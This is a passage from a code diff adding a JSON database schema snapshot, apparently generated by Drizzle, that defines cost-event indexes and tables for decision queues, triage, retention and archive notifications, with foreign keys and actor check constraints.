+        }
+      },
+      "indexes": {
+        "cost_events_company_occurred_idx": {
+          "name": "cost_events_company_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_agent_occurred_idx": {
+          "name": "cost_events_company_agent_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_provider_occurred_idx": {
+          "name": "cost_events_company_provider_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_biller_occurred_idx": {
+          "name": "cost_events_company_biller_occurred_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "biller",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "occurred_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "cost_events_company_heartbeat_run_idx": {
+          "name": "cost_events_company_heartbeat_run_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "heartbeat_run_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "cost_events_company_id_companies_id_fk": {
+          "name": "cost_events_company_id_companies_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_agent_id_agents_id_fk": {
+          "name": "cost_events_agent_id_agents_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_issue_id_issues_id_fk": {
+          "name": "cost_events_issue_id_issues_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "cost_events_project_id_projects_id_fk": {
+          "name": "cost_events_project_id_projects_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_goal_id_goals_id_fk": {
+          "name": "cost_events_goal_id_goals_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "cost_events_heartbeat_run_id_heartbeat_runs_id_fk": {
+          "name": "cost_events_heartbeat_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "cost_events",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "heartbeat_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.decision_archive_notification_outbox": {
+      "name": "decision_archive_notification_outbox",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_agent_id": {
+          "name": "origin_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "origin_issue_id": {
+          "name": "origin_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "attempt_count": {
+          "name": "attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "last_attempt_at": {
+          "name": "last_attempt_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "delivered_at": {
+          "name": "delivered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_archive_notification_outbox_uq": {
+          "name": "decision_archive_notification_outbox_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archive_version",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_archive_notification_outbox_pending_idx": {
+          "name": "decision_archive_notification_outbox_pending_idx",
+          "columns": [
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_archive_notification_outbox_company_id_companies_id_fk": {
+          "name": "decision_archive_notification_outbox_company_id_companies_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_archive_notification_outbox_origin_agent_id_agents_id_fk": {
+          "name": "decision_archive_notification_outbox_origin_agent_id_agents_id_fk",
+          "tableFrom": "decision_archive_notification_outbox",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "origin_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_archive_notification_outbox_status_check": {
+          "name": "decision_archive_notification_outbox_status_check",
+          "value": "\"decision_archive_notification_outbox\".\"status\" IN ('pending', 'delivering', 'delivered')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queue_items": {
+      "name": "decision_queue_items",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "queue_id": {
+          "name": "queue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_type": {
+          "name": "added_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "added_by_agent_id": {
+          "name": "added_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_user_id": {
+          "name": "added_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_run_id": {
+          "name": "added_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "added_by_agent_api_key_id": {
+          "name": "added_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queue_items_queue_source_uq": {
+          "name": "decision_queue_items_queue_source_uq",
+          "columns": [
+            {
+              "expression": "queue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queue_items_company_source_idx": {
+          "name": "decision_queue_items_company_source_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queue_items_company_id_companies_id_fk": {
+          "name": "decision_queue_items_company_id_companies_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_id_agents_id_fk": {
+          "name": "decision_queue_items_added_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "added_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queue_items_added_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "added_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queue_items_added_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "added_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queue_items_queue_company_fk": {
+          "name": "decision_queue_items_queue_company_fk",
+          "tableFrom": "decision_queue_items",
+          "tableTo": "decision_queues",
+          "columnsFrom": [
+            "queue_id",
+            "company_id"
+          ],
+          "columnsTo": [
+            "id",
+            "company_id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_queue_items_actor_check": {
+          "name": "decision_queue_items_actor_check",
+          "value": "(\n        (\"decision_queue_items\".\"added_by_type\" = 'agent' AND \"decision_queue_items\".\"added_by_agent_id\" IS NOT NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'user' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NOT NULL)\n        OR (\"decision_queue_items\".\"added_by_type\" = 'system' AND \"decision_queue_items\".\"added_by_agent_id\" IS NULL AND \"decision_queue_items\".\"added_by_user_id\" IS NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_queues": {
+      "name": "decision_queues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_type": {
+          "name": "created_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_api_key_id": {
+          "name": "created_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "retention_days": {
+          "name": "retention_days",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "seed_rules": {
+          "name": "seed_rules",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "seed_rules_enabled": {
+          "name": "seed_rules_enabled",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_queues_company_key_uq": {
+          "name": "decision_queues_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_queues_company_updated_idx": {
+          "name": "decision_queues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_queues_company_id_companies_id_fk": {
+          "name": "decision_queues_company_id_companies_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_id_agents_id_fk": {
+          "name": "decision_queues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_queues_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_queues_created_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_queues",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "created_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {
+        "decision_queues_id_company_uq": {
+          "name": "decision_queues_id_company_uq",
+          "nullsNotDistinct": false,
+          "columns": [
+            "id",
+            "company_id"
+          ]
+        }
+      },
+      "policies": {},
+      "checkConstraints": {
+        "decision_queues_creator_check": {
+          "name": "decision_queues_creator_check",
+          "value": "(\n        (\"decision_queues\".\"created_by_type\" = 'agent' AND \"decision_queues\".\"created_by_agent_id\" IS NOT NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'user' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NOT NULL)\n        OR (\"decision_queues\".\"created_by_type\" = 'system' AND \"decision_queues\".\"created_by_agent_id\" IS NULL AND \"decision_queues\".\"created_by_user_id\" IS NULL)\n      )"
+        },
+        "decision_queues_retention_days_check": {
+          "name": "decision_queues_retention_days_check",
+          "value": "\"decision_queues\".\"retention_days\" IS NULL OR (\"decision_queues\".\"retention_days\" >= 1 AND \"decision_queues\".\"retention_days\" <= 3650)"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_retention": {
+      "name": "decision_retention",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_activity_at": {
+          "name": "source_activity_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "keep": {
+          "name": "keep",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_reason": {
+          "name": "archived_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_type": {
+          "name": "archived_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_user_id": {
+          "name": "archived_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "archive_version": {
+          "name": "archive_version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_retention_company_source_uq": {
+          "name": "decision_retention_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_retention_company_archived_idx": {
+          "name": "decision_retention_company_archived_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "archived_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_retention_company_id_companies_id_fk": {
+          "name": "decision_retention_company_id_companies_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_agent_id_agents_id_fk": {
+          "name": "decision_retention_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_retention_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_retention_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_retention",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_retention_archive_actor_check": {
+          "name": "decision_retention_archive_actor_check",
+          "value": "(\n        (\"decision_retention\".\"archived_at\" IS NULL AND \"decision_retention\".\"archived_by_type\" IS NULL AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'system' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'agent' AND \"decision_retention\".\"archived_by_agent_id\" IS NOT NULL AND \"decision_retention\".\"archived_by_user_id\" IS NULL)\n        OR (\"decision_retention\".\"archived_at\" IS NOT NULL AND \"decision_retention\".\"archived_by_type\" = 'user' AND \"decision_retention\".\"archived_by_agent_id\" IS NULL AND \"decision_retention\".\"archived_by_user_id\" IS NOT NULL)\n      )"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.decision_triage": {
+      "name": "decision_triage",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_kind": {
+          "name": "source_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_id": {
+          "name": "source_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "decide_by": {
+          "name": "decide_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "decide_by_date": {
+          "name": "decide_by_date",
+          "type": "date",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "snoozed_until": {
+          "name": "snoozed_until",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_type": {
+          "name": "set_by_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "set_by_agent_id": {
+          "name": "set_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_user_id": {
+          "name": "set_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_run_id": {
+          "name": "set_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "set_by_agent_api_key_id": {
+          "name": "set_by_agent_api_key_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "version": {
+          "name": "version",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 1
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "decision_triage_company_source_uq": {
+          "name": "decision_triage_company_source_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "decision_triage_company_decide_by_idx": {
+          "name": "decision_triage_company_decide_by_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "decide_by",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "decision_triage_company_id_companies_id_fk": {
+          "name": "decision_triage_company_id_companies_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_id_agents_id_fk": {
+          "name": "decision_triage_set_by_agent_id_agents_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "set_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_run_id_heartbeat_runs_id_fk": {
+          "name": "decision_triage_set_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "set_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk": {
+          "name": "decision_triage_set_by_agent_api_key_id_agent_api_keys_id_fk",
+          "tableFrom": "decision_triage",
+          "tableTo": "agent_api_keys",
+          "columnsFrom": [
+            "set_by_agent_api_key_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "decision_triage_actor_check": {
+          "name": "decision_triage_actor_check",
+          "value": "(\n        (\"decision_triage\".\"set_by_type\" = 'agent' AND \"decision_triage\".\"set_by_agent_id\" IS NOT NULL AND \"decision_triage\".\"set_by_user_id\" IS NULL)\n        OR (\"decision_triage\".\"set_by_type\" = 'user' AND \"decision_triage\".\"set_by_agent_id\" IS NULL AND \"decision_triage\".\"set_by_user_id\" IS NOT NULL)\n      )"
+        },
+        "decision_triage_decide_by_check": {
+          "name": "decision_triage_decide_by_check",
